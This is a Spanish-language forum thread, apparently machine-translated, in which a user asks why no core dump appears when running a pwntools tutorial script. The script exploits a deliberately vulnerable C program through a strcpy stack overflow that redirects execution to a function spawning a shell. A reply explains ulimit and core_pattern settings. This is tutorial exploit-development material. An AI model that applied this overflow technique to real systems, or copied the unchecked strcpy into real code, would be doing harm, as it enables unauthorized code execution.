Pwntools no puede crear el archivo central

0

Estoy tratando de usar pwntools y estoy siguiendo este tutorial para crear Corefiles para automatizar la explotación .

El código del ejecutable ./crash es:

#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
    system("sh");
}
int main(int argc, char** argv) {
    char buffer[64];
    strcpy(buffer, argv[1]);
}

Después, ulimit -c unlimitedsi ejecuto el ejecutable (desde bash) con una entrada lo suficientemente grande, se bloqueará y generará los archivos principales.

Usando pwntools:

from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)

Si ejecuto este script (desde bash, tanto desde mi usuario como desde la raíz) con la misma entrada grande, se bloqueará, pero no generará el archivo central.

También intenté editar el /etc/sysctl.confarchivo y configuréfs.suid_dumpable = 1

Mi sistema operativo es un Ubuntu 16.04.3 LTS x64 con un núcleo genérico 4.4.0-89.

Packmad
fuente

Respuestas:

0

No nos ha mostrado cómo le ha dicho al sistema operativo que maneje los volcados de núcleo.

El tamaño máximo se configura mediante ulimit -c $MAXSIZEINBLOCKS(tenga en cuenta que ulimit tiene valores blandos y duros). $ MAXSIZEINBLOCKS debe ser un entero o la cadena 'ilimitado'

También debe decirle al sistema operativo dónde colocar los volcados de núcleo, esto se hace a través de sysctl . p.ejsysctl -w kernel.core_pattern=/var/crash/core.%p.%u.%e

Puede ser útil saber que puede obtener un volcado de núcleo de cualquier proceso en ejecución (si los permisos lo permiten) usando gcore

symcbean
fuente
Leí bajo el código fuente de C, escribí que de ulimit -c unlimited todos modos configuré la ruta para el volcado del núcleo y nada cambió (antes de esta configuración, el núcleo se generó en la misma carpeta del ejecutable) Sé que gcore, pero mi necesidad es diferente